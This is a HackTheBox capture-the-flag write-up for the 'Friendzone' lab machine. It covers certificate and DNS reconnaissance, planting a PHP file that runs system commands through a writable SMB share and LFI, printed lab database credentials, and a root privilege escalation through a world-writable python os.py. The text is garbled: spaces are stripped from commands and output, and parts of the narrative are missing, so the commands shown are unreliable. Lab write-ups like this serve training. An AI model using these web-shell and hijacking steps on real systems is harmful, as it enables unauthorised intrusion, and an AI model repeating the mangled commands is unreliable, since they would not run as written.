Friendzone is an easy-rated Linux machine from HackTheBox, created by Creator askar. In the current post, my IP is 10.10.14.24, and the target IP is 10.129.191.183.
Friendzone is like those easy boxes that are challenging. At the start, it has a lot of noise and rabbit holes, wasting your time. The good thing about this machine, is it's a mix of many techniques and stuff, checking SMB, doing an LFI, inject a php file, etc. It's a funny machine.
Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
It doesn't work, and the services https at the port 443, can provide information by using the command openSSL
Local Terminal
$openssls_client-connect10.129.191.183:443CONNECTED(00000003)CantuseSSL_get_servernamedepth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
verifyerror:num=18:self-signedcertificateverifyreturn:1depth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
verifyerror:num=10:certificatehasexpirednotAfter=Nov421:02:302018GMTverifyreturn:1depth=0 C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
notAfter=Nov421:02:302018GMTverifyreturn:1---Certificatechain 0 s:C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
i:C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
a:PKEY:rsaEncryption,2048 (bit); sigalg:RSA-SHA256v:NotBefore:Oct521:02:302018GMT; NotAfter:Nov421:02:302018GMT---Servercertificate-----BEGINCERTIFICATE-----<...># Innecesary information-----ENDCERTIFICATE-----subject=C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
issuer=C = JO, ST = CODERED, L = AMMAN, O = CODERED, OU = CODERED, CN = friendzone.red, emailAddress = haha@friendzone.red
---NoclientcertificateCAnamessentPeersigningdigest:SHA256Peersignaturetype:RSAServerTempKey:X25519,253bits---SSLhandshakehasread1677bytesandwritten386bytesVerificationerror:certificatehasexpired---New,TLSv1.2,CipherisECDHE-RSA-AES256-GCM-SHA384Serverpublickeyis2048bitSecureRenegotiationISsupportedCompression:NONEExpansion:NONENoALPNnegotiatedSSL-Session:Protocol:TLSv1.2Cipher:ECDHE-RSA-AES256-GCM-SHA384Session-ID:9463F6CBBB0671B5500A84FB494E988FAB498146CC26C50C15A05DC344B6847DSession-ID-ctx:Master-Key:673175AB9328562B2F24180E4CEE79BBDF47F65472CA8EB708499ACB0A26903A38524E095BFBD51339B4056350435CE3PSKidentity:NonePSKidentityhint:NoneSRPusername:NoneTLSsessionticketlifetimehint:300 (seconds)TLSsessionticket:<...> #Innecesary infoStartTime:1684937022Timeout:7200 (sec)Verifyreturncode:10 (certificate hasexpired)Extendedmastersecret:yes---
There is an email (haha@friendzone.red) and a domain (CN = friendzone.red), to avoid public IPs, we need to add it to /etc/hosts
New email added {info@friendzoneportal.red} and thanks to it, another domain {friendzoneportal.red}, remember to add it in /etc/hosts. If you are using Windows, use vi C:\Windows\System32\drivers\etc\hosts
$digaxfrfriendzone.red@ns1.hostresolver.com.# Some writeups says that this should work, but for some reason I want use axfr scan.# You should find: https://administrator1.friendzone.red/
We can see that the website respond to the parameter timestamp, by adding a .php at the end. Thanks to SMB we find a folder called Development that we can read and write, this sounds weird but there is a chance that by creating a file and test something will happen.
Local Terminal
$vitest.php
test.php
<?phpecho"Hello, this is a test";system("whoami");?>
Always, configuration files like "mysql_data.conf" are worth to check
Target Terminal [www-data]
www-data@FriendZone:/var/www$catmysql_data.conffor development process this is the mysql creds for user frienddb_user=frienddb_pass=Agpyu12!0.213$db_name=FZ
#!/usr/bin/pythonimport osto_address ="admin1@friendzone.com"from_address ="admin2@friendzone.com"print"[+] Trying to send email to %s"%to_address#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)# I need to edit the script later# Sam ~ python developer
Target Terminal [Friend]
friend@FriendZone:/opt/server_admin$ls-la/usr/lib/python2.7/os.py-rwxrwxrwx1rootroot25910Jan152019/usr/lib/python2.7/os.py# Or you can try "find -type f -writable -ls" (From "0xdf hacks stuff")
As you can see, the package "os" is executed from python and by root and we have write permission.
